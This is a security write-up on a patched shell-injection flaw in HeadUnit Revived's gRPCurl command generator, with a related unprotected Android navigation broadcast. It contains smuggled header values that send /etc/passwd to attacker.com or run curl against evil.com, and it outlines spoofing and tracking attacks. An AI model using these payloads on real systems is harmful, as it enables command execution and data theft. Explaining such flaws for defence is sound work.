Shell Injection via gRPCurl Command Generation: A Hidden Android Threat

Introduction

Imagine you're a developer debugging your Android Auto integration. Your app helpfully generates a gRPCurl command for you to copy, paste into a terminal, and run — a convenient developer feature. Now imagine that the data powering that command came from an API response you don't fully control. What could go wrong?

Quite a lot, it turns out.

A high-severity shell injection vulnerability (V-003) was recently identified and patched in the HeadUnit Revived project — an Android Auto head unit implementation. The vulnerability lives in HeadUnitIntent.kt and stems from a deceptively simple mistake: unsafe string concatenation when building shell commands from user-controlled data.

This post breaks down exactly what went wrong, how an attacker could exploit it, and what you can do to prevent the same mistake in your own projects.

The Vulnerability Explained

What Is Shell Injection?

Shell injection (also known as OS command injection) occurs when an application constructs a shell command using untrusted input without properly sanitizing or escaping that input. The shell interprets special characters — like ;, |, $(), `, &&, >, and more — as control sequences, allowing an attacker to break out of the intended command context and execute arbitrary code.

This is closely related to CWE-78: Improper Neutralization of Special Elements used in an OS Command and is consistently listed in the OWASP Top 10 under the Injection category.

The Vulnerable Code

In HeadUnitIntent.kt, a utility function was responsible for generating a gRPCurl command string that developers could use for testing. The problem? It built this string by directly interpolating values sourced from API responses — headers, endpoint URLs, and request data — without any escaping:

// VULNERABLE: Unsafe string concatenation (simplified illustration)
fun buildGrpcurlCommand(
    endpoint: String,
    headers: Map<String, String>,
    data: String
): String {
    val headerArgs = headers.entries.joinToString(" ") { (k, v) ->
        "-H '$k: $v'"  // ❌ No escaping — single quotes can be broken!
    }
    return "grpcurl $headerArgs -d '$data' $endpoint"
}

At first glance, this looks almost safe — the values are wrapped in single quotes. But single quotes are not a magic shield. A value containing a single quote character (') will break out of the quoting context entirely. Consider what happens with this malicious header value:

' -d @/etc/passwd http://attacker.com/exfil #

The resulting command becomes:

grpcurl -H 'X-Token: ' -d @/etc/passwd http://attacker.com/exfil #' -d '...' example.com:443

The shell now reads a completely different command — one that reads /etc/passwd and sends it to an attacker-controlled server.

The Companion Issue: Unprotected Broadcast Intents

The PR also addressed a related vulnerability in how HeadUnitIntent defines implicit broadcast intents for Android Auto navigation updates. Without signature-level permission protection:

1. Any malicious app on the device could register a broadcast receiver to silently intercept navigation data, enabling passive location tracking of the driver.
2. A malicious app could spoof navigation broadcasts, injecting false turn-by-turn directions — a scenario with serious real-world safety implications for drivers.

// VULNERABLE: Implicit broadcast with no permission guard
const val ACTION_NAVIGATION_UPDATE = "com.andrerinas.headunitrevived.NAVIGATION_UPDATE"

// Any app can receive this:
context.sendBroadcast(Intent(ACTION_NAVIGATION_UPDATE).apply {
    putExtra("destination", destination)
    putExtra("eta", eta)
})

A Real-World Attack Scenario

Let's walk through how a practical attack could unfold:

Attack Chain: Shell Injection

1. Setup: A developer uses HeadUnit Revived and triggers a flow that calls an external API. The app generates a gRPCurl debug command to help them test the endpoint.

2. Attacker's move: The attacker controls (or has compromised) the API server. They craft a response with a malicious Authorization header value:
   Bearer token'; curl https://evil.com/$(whoami) #

3. The trap is set: The app generates this command, which the developer innocently copies:
   bash grpcurl -H 'Authorization: Bearer token'; curl https://evil.com/$(whoami) #' ...

4. Execution: The developer pastes and runs the command in their terminal. Two commands execute:
   - The (broken) grpcurl call
   - curl https://evil.com/<their-username> — confirming code execution

5. Escalation: With a more sophisticated payload, the attacker could exfiltrate SSH keys, install backdoors, or pivot to the developer's CI/CD environment.

Attack Chain: Navigation Spoofing

1. A malicious app installed on the Android Auto device (perhaps disguised as a utility app) registers a receiver for com.andrerinas.headunitrevived.NAVIGATION_UPDATE.
2. It either reads incoming navigation broadcasts (learning the user's routes) or sends its own crafted broadcasts to the head unit.
3. The head unit displays false directions, potentially routing the driver into dangerous situations.

The Fix

The patch addressed both issues with targeted, principled changes across three files.

Fix 1: Proper Shell Escaping for gRPCurl Commands

The core fix replaces naive string interpolation with a proper shell-escaping strategy. The safest approach in Kotlin/JVM contexts is to use ProcessBuilder for actual command execution (which bypasses the shell entirely), or to rigorously escape all arguments when generating display-only command strings.

// FIXED: Proper shell argument escaping
fun shellEscape(value: String): String {
    // Wrap in single quotes and escape any existing single quotes
    // by ending the quote, adding an escaped quote, and reopening
    return "'" + value.replace("'", "'\\''") + "'"
}

fun buildGrpcurlCommand(
    endpoint: String,
    headers: Map<String, String>,
    data: String
): String {
    val headerArgs = headers.entries.joinToString(" ") { (k, v) ->
        "-H ${shellEscape("$k: $v")}"  // ✅ Properly escaped
    }
    return "grpcurl $headerArgs -d ${shellEscape(data)} ${shellEscape(endpoint)}"
}

With this fix, the malicious header value Bearer token'; curl https://evil.com/$(whoami) # becomes:

grpcurl -H 'Authorization: Bearer token'"'"'; curl https://evil.com/$(whoami) #' ...

This is now treated as a literal string by the shell — the injection attempt is neutralized.

💡 Pro Tip: For actual command execution (not just display), always prefer ProcessBuilder with separate argument arrays. This bypasses the shell entirely and makes injection structurally impossible:
kotlin ProcessBuilder("grpcurl", "-H", "$key: $value", "-d", data, endpoint) .start()

Fix 2: Signature-Protected Broadcasts

The navigation broadcast was secured by adding a signature-level permission requirement, ensuring only apps signed with the same certificate can send or receive the broadcast:

<!-- AndroidManifest.xml -->
<!-- FIXED: Define a signature-level permission -->
<permission
    android:name="com.andrerinas.headunitrevived.NAVIGATION_PERMISSION"
    android:protectionLevel="signature" />

<receiver
    android:name=".NavigationReceiver"
    android:permission="com.andrerinas.headunitrevived.NAVIGATION_PERMISSION"
    android:exported="true">
    <intent-filter>
        <action android:name="com.andrerinas.headunitrevived.NAVIGATION_UPDATE" />
    </intent-filter>
</receiver>

// AapNavigationHelper.kt - FIXED: Send with permission enforcement
context.sendBroadcast(
    Intent(HeadUnitIntent.ACTION_NAVIGATION_UPDATE).apply {
        putExtra("destination", destination)
        putExtra("eta", eta)
    },
    "com.andrerinas.headunitrevived.NAVIGATION_PERMISSION"  // ✅ Permission required
)

Prevention & Best Practices

1. Never Concatenate Shell Commands from Untrusted Input

This is the cardinal rule. If you must build shell commands dynamically:

• ✅ Use ProcessBuilder with argument arrays (no shell involved)
• ✅ Implement shellEscape() using the '...' with '\'' technique
• ✅ Validate and allowlist input values before use
• ❌ Never use string interpolation or String.format() for shell commands

2. Treat API Response Data as Untrusted

Data from external APIs — even your own — should always be treated as potentially hostile. Apply the same input validation you'd apply to user-supplied form data:

// Validate header names against an allowlist
val SAFE_HEADER_PATTERN = Regex("^[A-Za-z0-9-]+$")

fun validateHeaderName(name: String): Boolean {
    return SAFE_HEADER_PATTERN.matches(name)
}

3. Protect Android Broadcasts

For any broadcast carrying sensitive data or capable of influencing app behavior:

4. Use Security Linters and SAST Tools

Integrate static analysis tools into your CI/CD pipeline:

• Android: Android Lint, MobSF, QARK
• General SAST: Semgrep (has rules for shell injection), SonarQube
• Dependency scanning: OWASP Dependency-Check

5. Relevant Security Standards

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• CWE-925: Improper Verification of Intent by Broadcast Receiver
• OWASP Mobile Top 10 - M1: Improper Platform Usage (covers Intent misuse)
• OWASP Top 10 - A03:2021: Injection

6. Code Review Checklist for Command Generation

When reviewing code that generates shell commands or CLI invocations, ask:

• [ ] Does any part of the command come from external input (API, user, file)?
• [ ] Are all dynamic values properly escaped for the target shell?
• [ ] Could a ProcessBuilder be used instead of a shell command?
• [ ] Is this command ever executed programmatically, or only displayed?
• [ ] What's the worst case if this input is malicious?

Conclusion

The vulnerability fixed here is a perfect example of how developer convenience features can become security liabilities. A debug command generator seems harmless — it's just a string, right? But when that string is destined for a shell, and when it's built from data you don't control, you've created a loaded weapon.

The key takeaways from this fix:

1. Shell metacharacters are dangerous — always escape or avoid the shell entirely when building commands from dynamic data.
2. API response data is untrusted input — treat it with the same suspicion as user-supplied form fields.
3. Android broadcasts need access control — implicit broadcasts without permission guards are an open invitation for interception and spoofing.
4. Defense in depth matters — both vulnerabilities in this PR were in the same file, but they had different attack surfaces. Fixing one wouldn't have fixed the other.

Security is rarely about exotic, complex attacks. More often, it's about recognizing the mundane patterns — string concatenation, missing permissions, implicit trust — that create openings for harm. The developers of HeadUnit Revived caught this early and fixed it properly. That's exactly how it should work.

Stay curious, stay skeptical, and always ask: "What if this input is malicious?"

This vulnerability was identified and fixed as part of automated security scanning by OrbisAI Security. For questions about this post or the underlying vulnerability, reach out to the security community.